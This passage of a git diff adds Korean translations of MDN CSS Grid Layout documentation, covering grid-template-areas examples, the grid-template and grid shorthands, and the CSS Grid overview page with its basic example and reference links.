+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+.wrapper {
+    display: grid;
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-columns: 1fr;
+    grid-template-areas:
+      "hd"
+      "main"
+      "sd"
+      "ft";
+}
+</pre>
+
+<p>그러고 나서, 미디어 큐어리 안에서 남아있는 공간이 넓다면 두 개의 열로 된 레이아웃을 구성하도록 다시 정의해 주었으며, 공간이 더 넓으면 세 개의 열로 된 형태의 레이아웃 띠도록 하였습니다. 넓은 형태의 레이아웃의 경우, 아홉 개의 열 트랙 그리드는 그대로 놔두었으며, <code>grid-template-areas</code>를 써서 아이템들이 어디에 배치될지를 다시 정의해 준 점을 주목해 주십시오.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+    .wrapper {
+        grid-template-columns: repeat(9, 1fr);
+        grid-template-areas:
+          "hd hd hd hd   hd   hd   hd   hd   hd"
+          "sd sd sd main main main main main main"
+          "sd sd sd  ft  ft   ft   ft   ft   ft";
+    }
+}
+@media (min-width: 700px) {
+    .wrapper {
+        grid-template-areas:
+          "hd hd hd   hd   hd   hd   hd   hd hd"
+          "sd sd main main main main main ft ft";
+    }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('미디어_큐어리(media_queries)를_이용한_그리드_재정의', '550', '330') }}</p>
+
+<h2 id="UI_요소를_위한_grid-tempate-areas_사용">UI 요소를 위한 <code>grid-tempate-areas</code> 사용</h2>
+
+<p>온라인에서 찾을 수 있는 많은 그리드 예제들을 보면 주로 주요 페이지 레이아웃에만 그리드를 사용한다고 느끼실 수 있습니다만, 그리드는 큰 요소만큼이나 작은 요소에서도 유용하게 사용될 수 있습니다. 특히나 {{cssxref("grid-template-areas")}}를 쓰면 요소가 어떻게 보일지 코드를 보면 쉽게 이해할 수 있어서 아주 유용합니다.</p>
+
+<p>아주 간단한 예로 “미디어 오브젝트”를 만들어 보겠습니다. 이 컴포넌트의 한쪽은 그림이나 다른 미디어를 위한 공간이 차지하고 다른 쪽은 주 내용이 위치하게 됩니다. 그림은 박스의 오른쪽 혹은 왼쪽에 표시될 수 있습니다.</p>
+
+<p><img alt="미디어 오브젝트 디자인의 한 예를 보여주는 그림" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p>
+
+<p>여기서 그리드는 두 개의 열 트랙으로 구성되어 있으며, 그림이 들어가는 공간의 열 트랙의 크기는 <code>1fr</code>이며 글자 내용이 들어가는 공간의 크기는 <code>3fr</code>입니다. 만약에 고정된 너비의 그림 영역을 원하시면, 그림이 들어가는 열의 너비는 픽셀값으로 설정하고, 글자 영역에는 <code>1fr</code>을 지정하실 수 있습니다. 그러면 <code>1fr</code> 크기의 단일 열 트랙이 남은 공간을 모두 차지하게 됩니다.</p>
+
+<p>그림이 위치하는 영역의 그리드 이름으로 <code>img</code>를 지정하고 글자 영역은 <code>content</code>라 부르기로 하고, <code>grid-template-areas</code> 프로퍼티를 써서 다음과 같이 배치하게 됩니다.</p>
+
+<div id="Media_1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media"&gt;
+    &lt;div class="image"&gt;&lt;/div&gt;
+    &lt;div class="text"&gt;This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_1', '300', '200') }}</p>
+</div>
+
+<h3 id="박스의_반대편에_그림_표시하기">박스의 반대편에 그림 표시하기</h3>
+
+<p>반대로 그림이 박스의 맞은편에 표시되기를 원하실 때도 있을 겁니다. 이렇게 하려면, <code>1fr</code> 크기의 트랙을 마지막에 위치하도록 하고, 단순하게 {{cssxref("grid-template-areas")}}의 값을 뒤집어서 그리드를 다시 정의해주면 됩니다.</p>
+
+<div id="Media_2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media.flipped {
+    grid-template-columns: 3fr 1fr;
+    grid-template-areas: "content img";
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media flipped"&gt;
+    &lt;div class="image"&gt;&lt;/div&gt;
+    &lt;div class="text"&gt;This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_2', '300', '200') }}</p>
+</div>
+
+<h2 id="그리드_정의_단축용법">그리드 정의 단축용법</h2>
+
+<p>지금까지 그리드 위에 아이템을 배치하는 여러 가지 방법과 또 그리드를 정의하는 다양한 프로퍼티들을 살펴보았습니다. 이번에는 그리드를 정의하는 데 사용할 수 있는 몇 가지 단축용법을 살펴보고 또 이 모든 것을 CSS 한 줄로 정의하는 법을 알아볼 차례입니다.</p>
+
+<p>이것은 분명 다른 개발자나 심지어 미래의 나 자신도 금방 이해하기 어려울 수도 있습니다. 하지만, 표준 명세서에 기술된 용법 중 하나로서, 개별적으로 사용하진 않더라도, 공개된 예제나 다른 개발자가 사용하는 것을 목격할 수 있을 겁니다.</p>
+
+<p>단축용법을 쓰기 전에 꼭 명심해야 할 것은 단축용법은 단번에 많은 프로퍼티의 설정이 가능할 뿐만 아니라, 정의하지 않은, 혹은 정의할 수 없는 것들도 그들의 <strong>초깃값으로 재설정되도록 작용</strong>한다는 점입니다. 그러므로 단축용법을 사용할 땐 다른 곳에서 적용했던 것들이 재설정될 수도 있다는 점을 주의하십시오.</p>
+
+<p>그리드 컨테이너에서 사용할 수 있는 단축용법에는 두 가지가 있는데, 하나는 명시적 그리드 단축용법으로 <code>grid-template</code>이 있고, 나머지는 그리드 정의 단축용법으로 <code>grid</code>가 있습니다.</p>
+
+<h3 id="grid-template"><code>grid-template</code></h3>
+
+<p>{{cssxref("grid-template")}} 프로퍼티는 다음과 같은 프로퍼티들을 설정합니다:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+</ul>
+
+<p>이 프로퍼티는, 잠재적으로 생성되는 열과 행 트랙에 영향을 끼치는 것이 아닌, 명시적 그리드를 정의할 때 조정할 수 있는 것들을 설정하는 것이어서 명시적 그리드 단축용법이라 불립니다.</p>
+
+<p>다음에 있는 코드는 {{cssxref("grid-template")}}를 써서 이 가이드 앞부분에서 만들었던 레이아웃과 똑같은 레이아웃을 만들었습니다.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>첫 번째 값은 <code>grid-template-areas</code> 값에 해당합니다. 하지만 각 행의 마지막에 해당 행의 크기도 함께 선언해 주었습니다. 여기에 있는 <code>minmax(100px, auto)</code>가 이 역할을 합니다.</p>
+
+<p>그리고 <code>grid-template-areas</code> 뒤에 옆으로 누운 슬래시(/)가 있고, 바로 그 뒤에 세로 행 트랙들을 위한 명시적 트랙 목록이 정의되어 있습니다.</p>
+
+<h3 id="grid"><code>grid</code></h3>
+
+<p>{{cssxref("grid")}} 단축용법은 한 발 더 나가 잠재적 그리드를 정의하는 데 사용되는 프로퍼티들도 같이 설정합니다. 그래서 여기서 설정하는 프로퍼티들은 다음과 같습니다:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+</ul>
+
+<p>이 프로퍼티는 또 {{cssxref("grid-gap")}} 프로퍼티를 <code>0</code>으로 재설정합니다만, 이 단축용법에서는 이 간격을 지정해줄 수는 <em>없습니다</em>.</p>
+
+<p>이 용법은 {{cssxref("grid-template")}} 단축용법과 똑같은 방법으로 사용할 수 있습니다만, 이렇게 하면 설정했던 다른 프로퍼티 값들을 재설정하게 된다는 점을 주의하셔야 합니다.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>이 단축용법이 제공하는 다른 기능은 나중에 자동 배치와 <code>grid-auto-flow</code> 프로퍼티를 알아보는 가이드에서 다시 살펴보겠습니다.</p>
+
+<p>만약 지금까지의 초반 가이드들을 쭉 훑어보셨다면, 이제 라인을 기준으로 한 배치나 이름이 지명된 영역을 사용해서 그리드 레이아웃을 만드실 수 있는 위치까지 도달하셨습니다. 다음엔 충분한 시간을 가지고 그리드를 사용해서 몇몇 일반적인 레이아웃 패턴을 만들어 보시도록 하십시오. 앞으로 더 배워야 할 많은 새로운 기술 용어들이 있지만, 이들의 문법은 비교적 이해하기 쉬울 겁니다. 여러 예제를 다루시면서, 지금까지 다루지 않았던 것들에 대한 여러 의문점과 복잡한 사용 사례들을 마주칠 수 있을 겁니다. 이번 가이드의 나머지 부분에서는 표준 명세서에 있는 좀 더 자세한 사항들을 알아 볼 예정입니다. 그래서 앞으로 소개될 기술을 가지고 좀 더 복잡한 고급 레이아웃을 만들 수 있게 되시길 바랍니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/index.html b/files/ko/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..f3d2b42199
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/index.html
@@ -0,0 +1,253 @@
+---
+title: CSS 그리드 레이아웃
+slug: Web/CSS/CSS_Grid_Layout
+tags:
+  - CSS
+  - Grid Layout
+  - Grids
+  - 개요
+  - 그리드
+  - 그리드 레이아웃
+  - 레이아웃
+  - 참고
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS 그리드 레이아웃(Grid Layout)</strong>은 페이지를 여러 주요 영역으로 나누거나, 크기와 위치 및 문서 계층 구조의 관점에서 HTML 기본 요소로 작성된 콘트롤 간의 관계를 정의하는 데 아주 탁월합니다.</p>
+
+<p>테이블과 마찬가지로 그리드 레이아웃은 세로 열과 가로 행을 기준으로 요소를 정렬할 수 있습니다. 하지만, 테이블과 달리 CSS 그리드는 다양한 레이아웃을 훨씬 더 쉽게 구현할 수 있습니다. 예를 들어, 그리드 컨테이너 속 자식 요소를, 마치 CSS로 일일이 위치를 지정해 준 것처럼, 실제로 겹치게 층을 지면서 자리를 잡도록 각 요소의 위치를 지정해 줄 수도 있습니다.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">기본 예제</h2>
+
+<p>아래 예제는 3개의 세로 열 트랙으로 이루어졌으며, 저절로 채워지며 생성되는 가로 행 트랙은 높이가 최소 100픽셀 이상, 콘텐츠 최대치까지 자동으로 늘어나는 구조의 그리드를 보여줍니다. 각 아이템은 그리드 라인을 기준으로 배치되었습니다.</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid rgb(233,171,88);
+  border-radius: 5px;
+  background-color: rgba(233,171,88,.5);
+  padding: 1em;
+  color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="one"&gt;One&lt;/div&gt;
+  &lt;div class="two"&gt;Two&lt;/div&gt;
+  &lt;div class="three"&gt;Three&lt;/div&gt;
+  &lt;div class="four"&gt;Four&lt;/div&gt;
+  &lt;div class="five"&gt;Five&lt;/div&gt;
+  &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_프로퍼티">CSS 프로퍼티</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_함수">CSS 함수</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_데이터_타입">CSS 데이터 타입</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+</ul>
+</div>
+
+<h3 id="용어집_목록">용어집 목록</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Lines">Grid Lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li>
+</ul>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">그리드 레이아웃과 다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li>
+</ul>
+</div>
+
+<h2 id="외부_문서">외부 문서</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li>
+ <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
+ <li><a href="http://cssgridgarden.com">Grid Garden</a> - A game for learning CSS grid</li>
+</ul>
+
+<h2 id="표준_문서">표준 문서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Grid') }}</td>
+   <td>{{ Spec2('CSS3 Grid') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
new file mode 100644
index 0000000000..bc0957fb2e
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
@@ -0,0 +1,497 @@
+---
+title: Layout using named grid lines
+slug: Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines
+tags:
+  - CSS
+  - CSS Grids
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
+---
